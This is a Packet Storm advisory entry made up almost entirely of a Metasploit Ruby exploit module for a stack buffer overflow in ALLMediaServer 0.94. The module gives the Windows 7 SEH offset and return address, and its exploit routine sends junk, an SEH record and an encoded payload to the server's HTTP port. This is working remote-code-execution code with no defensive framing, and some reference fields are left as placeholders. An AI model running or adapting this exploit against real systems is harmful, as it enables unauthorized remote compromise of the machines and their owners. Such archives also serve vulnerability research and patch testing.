ALLMediaServer 0.94 Buffer Overflow

2013-03-29T00:00:00
ID PACKETSTORM:121006
Type packetstorm
Reporter metacom
Modified 2013-03-29T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
#Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking  
#ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ALLMediaServer 0.94 Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a stack buffer overflow in ALLMediaServer 0.94. The vulnerability  
is caused due to a boundary error within the handling of HTTP request.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'metacom<metacom27[at]gmail.com>', # Original discovery  
'<metacom>', # MSF Module  
'RST',  
],  
'References' =>  
[  
[ 'OSVDB', '<insert OSVDB number here>' ],  
[ 'CVE', 'insert CVE number here' ],  
[ 'URL', 'http://www.bugsearch.net/en/14147/allmediaserver-094-seh-overflow-exploit.html' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process', #none/process/thread/seh  
#'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00", # <change if needed>  
'DisableNops' => true,  
},  
  
'Targets' =>  
[  
[ 'Windows 7',# Tested on: Windows 7 SP1/SP0  
{  
'Ret' => 0x65EC24CA, # pop eax # pop ebx # ret - avcodec-53.dll  
'Offset' => 1065  
}  
],  
],  
'Privileged' => false,  
#Correct Date Format: "M D Y"  
#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec  
'DisclosureDate' => 'Mar 28 2013',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(888)], self.class)  
  
end  
  
def exploit  
  
  
connect  
buffer = "http://"  
buffer << rand_text(target['Offset']) #junk  
buffer << generate_seh_record(target.ret)  
buffer << payload.encoded #3931 bytes of space  
# more junk may be needed to trigger the exception  
  
print_status("Sending payload to ALLMediaServer on #{target.name}...")  
sock.put(buffer)  
  
handler  
disconnect  
  
end  
end  
`